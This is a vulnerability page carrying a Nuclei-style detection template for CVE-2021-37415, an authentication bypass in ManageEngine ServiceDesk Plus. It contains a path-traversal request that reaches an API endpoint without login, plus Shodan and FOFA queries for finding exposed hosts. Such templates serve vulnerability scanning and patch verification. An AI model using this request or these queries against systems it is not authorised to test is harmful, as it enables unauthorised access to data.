CVE-2021-37415: Zoho ManageEngine ServiceDesk Plus - Authentication Bypass

2025-12-12 Zoho ManageEngine ServiceDesk Plus PoC Public

Description

Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication.

PoC

id: CVE-2021-37415

info:
  name: Zoho ManageEngine ServiceDesk Plus - Authentication Bypass
  author: daffainfo,jjcho
  severity: critical
  description: |
    Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication.
  remediation: |
    Update to version 11302 or later.
  impact: |
    Attackers can access sensitive functionalities and data without authentication, potentially leading to data disclosure or unauthorized actions.
  reference:
    - https://www.manageengine.com/products/service-desk/on-premises/readme.html#11302
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37415
    epss-score: 0.99825
    epss-percentile: 0.99958
    cwe-id: CWE-306
    cpe: cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_servicedesk_plus
    shodan-query: http.title:"manageengine servicedesk plus"
    fofa-query: title="manageengine servicedesk plus"
  tags: cve,cve2021,zohocorp,manageenggine,manageengine_servicedesk_plus,auth-bypass,kev,vkev,vuln

http:
  - raw:
      - |
        GET /api/v3/{{randbase(8)}}/../announcements HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status_code":2000'
          - '"has_more_rows"'
          - '"start_index"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022020eabc3665f42c1ba6f966a52d4f36335bd7e817cd8b6895970de3840e7632170221009a0c6fee91d7ffc12664a6d1c64a22a744a51efadf355ecdb70bdd9e8d5de4d4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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